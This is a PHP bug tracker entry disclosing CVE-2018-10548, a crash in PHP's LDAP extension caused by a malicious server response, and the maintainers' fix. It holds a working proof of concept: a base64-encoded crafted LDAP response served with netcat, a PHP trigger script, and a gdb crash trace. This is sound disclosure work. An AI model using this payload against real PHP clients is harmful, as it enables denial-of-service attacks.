php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #76248 Malicious LDAP-Server Response causes Crash
Submitted: 2018-04-21 20:48 UTC Modified: 2018-04-29 20:48 UTC
From: phpldap at katzen dot cc Assigned: stas (profile)
Status: Closed Package: LDAP related
PHP Version: 7.2.4 OS:
Private report: No CVE-ID: 2018-10548
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: phpldap at katzen dot cc
New email:
PHP Version: OS:

 

 [2018-04-21 20:48 UTC] phpldap at katzen dot cc
Description:
------------
A bug in the LDAP module of PHP allows a malicious LDAP server or man-in-the-middle attacker to crash PHP. The issue has a low impact as it can’t be exploited beyond a crash. The only scenario where this problem can be exploited is when a web server writes coredumps into the web directory. However, such a misconfiguration isn’t that uncommon, thus I’m flagging this as sec-bug.  

While receiving the server response via ldap_get_entries the current dn is retrieved using ldap_get_dn(). A specially crafted server response can cause ldap_get_dn() to return a NULL pointer which causes a crash in ldap_get_entries() because add_assoc_string() can’t handle NULL pointers.

Affected Code:
ext/ldap/ldap.c

PHP_FUNCTION(ldap_get_entries)
[...]
dn = ldap_get_dn(ldap, ldap_result_entry);
add_assoc_string(&tmp1, "dn", dn);

PoC:
Run:
echo MAwCAQFhBwoBAAQABAAweQIBAmR0BJljbj1yb290LGRjPWV4YW1wbGUsZGM9Y29tMFcwIwQLb2JqZWN0Q2xhc3MxFAQSb3JnYW5pemF0aW9uYWxSb2xlMAwEAmNuMQYEBHJvb3QwIgQLZGVzY3JpcHRpb24xEwQRRGlyZWN0b3J5IE1hbmFnZXIwDAIBAmUHCgEABAAEADB5AgEDZHQEmWNuPXJvb3QsZGM9ZXhhbXBsZSxkYz1jb20wVzAjBAtvYmplY3RDbGFzczEUBBJvcmdhbml6YXRpb25hbFJvbGUwDAQCY24xBgQEcm9vdDAiBAtkZXNjcmlwdGlvbjETBBFEaXJlY3RvcnkgTWFuYWdlcjAMAgEDZQcKAQAEAAQA | base64 -d | nc -lvp 1234

Then execute:
./sapi/cli/php ldap.php


Suggested fix:
Assign an empty string to dn if ldap_get_dn() returns NULL. 



Test script:
---------------
<?php

$ds = ldap_connect("127.0.0.1", 1234);
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
$b = ldap_bind($ds, "cn=root,dc=example,dc=com", "secret");

$s = ldap_search($ds, "dc=example,dc=com", "(cn=root)"); 
$tt = ldap_get_entries($ds, $s);


Expected result:
----------------
No crash

Actual result:
--------------
gdb-peda$ r ldap2.php 
Starting program: /home/bla/php-7.2.4/sapi/cli/php ldap2.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7fc323c --> 0xf7fc324000000606 
RBX: 0x7fffffffb260 --> 0x5555571b0e30 --> 0x800700000001 
RCX: 0x0 
RDX: 0x0 
RSI: 0x555556b69084 --> 0x5f7061646c006e64 ('dn')
RDI: 0x0 
RBP: 0x5555571b0b90 --> 0x2 
RSP: 0x7fffffffb1b8 --> 0x5555562daa9e (<add_assoc_string_ex+94>:	mov    rbx,rax)
RIP: 0x7ffff27c8f11 (<__strlen_avx2+17>:	vpcmpeqb ymm1,ymm0,YMMWORD PTR [rdi])
R8 : 0x5555571b08b7 ("cn=root,dc=example,dc=com0W0#\004\vobjectClass1\024\004\022organizationalRole0\f\004\002cn1\006\004\004root0\"\004\vdescription1\023\004\021Directory Manager")
R9 : 0x18 
R10: 0x1f4 
R11: 0x7ffff6e8de80 (<ldap_get_dn>:	push   rbp)
R12: 0x555556b69084 --> 0x5f7061646c006e64 ('dn')
R13: 0x0 
R14: 0x2 
R15: 0x7fffffffb260 --> 0x5555571b0e30 --> 0x800700000001
EFLAGS: 0x10283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff27c8f09 <__strlen_avx2+9>:	and    ecx,0x3f
   0x7ffff27c8f0c <__strlen_avx2+12>:	cmp    ecx,0x20
   0x7ffff27c8f0f <__strlen_avx2+15>:	ja     0x7ffff27c8f30 <__strlen_avx2+48>
=> 0x7ffff27c8f11 <__strlen_avx2+17>:	vpcmpeqb ymm1,ymm0,YMMWORD PTR [rdi]
   0x7ffff27c8f15 <__strlen_avx2+21>:	vpmovmskb eax,ymm1
   0x7ffff27c8f19 <__strlen_avx2+25>:	test   eax,eax
   0x7ffff27c8f1b <__strlen_avx2+27>:	jne    0x7ffff27c9000 <__strlen_avx2+256>
   0x7ffff27c8f21 <__strlen_avx2+33>:	add    rdi,0x20
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffb1b8 --> 0x5555562daa9e (<add_assoc_string_ex+94>:	mov    rbx,rax)
0008| 0x7fffffffb1c0 --> 0x5555571b08b0 --> 0x6399047464020102 
0016| 0x7fffffffb1c8 --> 0x5555571b08b5 --> 0x6f6f723d6e639904 
0024| 0x7fffffffb1d0 --> 0x5555571b0929 --> 0x0 
0032| 0x7fffffffb1d8 --> 0x0 
0040| 0x7fffffffb1e0 --> 0x33d64e4403b75f00 
0048| 0x7fffffffb1e8 --> 0x7fffffffb260 --> 0x5555571b0e30 --> 0x800700000001 
0056| 0x7fffffffb1f0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff27c8f11 in __strlen_avx2 () from /usr/lib/libc.so.6
gdb-peda$ bt
#0  0x00007ffff27c8f11 in __strlen_avx2 () from /usr/lib/libc.so.6
#1  0x00005555562daa9e in add_assoc_string_ex (arg=0x7fffffffb260, key=0x555556b69084 "dn", key_len=0x2, str=0x0) at Zend/zend_API.c:1414
#2  0x0000555555d1647b in zif_ldap_get_entries (execute_data=<optimized out>, return_value=0x7ffff1bc1170) at ext/ldap/ldap.c:1251
#3  0x0000555556508c59 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER (execute_data=0x7ffff1bc1040) at Zend/zend_vm_execute.h:617
#4  0x00005555563b096f in execute_ex (ex=0x7ffff1bc1040) at Zend/zend_vm_execute.h:59723
#5  0x00005555563b0f10 in zend_execute (op_array=0x5555571b1e90, return_value=0x0) at Zend/zend_vm_execute.h:63760
#6  0x00005555562cd271 in zend_execute_scripts (type=<optimized out>, retval=0x0, file_count=0x3) at Zend/zend.c:1496
#7  0x00005555561835ce in php_execute_script (primary_file=0x7fffffffd7b0) at main/main.c:2590
#8  0x00005555565bda23 in do_cli (argc=<optimized out>, argv=<optimized out>) at sapi/cli/php_cli.c:1011
#9  0x00005555565bb966 in main (argc=0x2, argv=<optimized out>) at sapi/cli/php_cli.c:1404
#10 0x00007ffff2692f4a in __libc_start_main () from /usr/lib/libc.so.6
#11 0x000055555568676a in _start ()

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-04-23 04:35 UTC] stas@php.net
-Status: Open +Status: Assigned -Assigned To: +Assigned To: stas
 [2018-04-23 04:35 UTC] stas@php.net
While this does not seem to be directly exploitable, crash caused by external user data in common scenario seems to be bad enough to treat it as a security issue.
 [2018-04-23 05:03 UTC] stas@php.net
-CVE-ID: +CVE-ID: needed
 [2018-04-23 05:03 UTC] stas@php.net
Fix in security repo as 49782c54994ecca2ef2a061063bd5a7079c43527 and in https://gist.github.com/smalyshev/7f69d73b24e149704b90f1fc7786915d, Please verify.
 [2018-04-23 10:47 UTC] phpldap at katzen dot cc
Looks good to me
 [2018-04-24 05:13 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2018-04-24 05:13 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2018-04-29 20:48 UTC] kaplan@php.net
-CVE-ID: needed +CVE-ID: 2018-10548
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 13:01:29 2024 UTC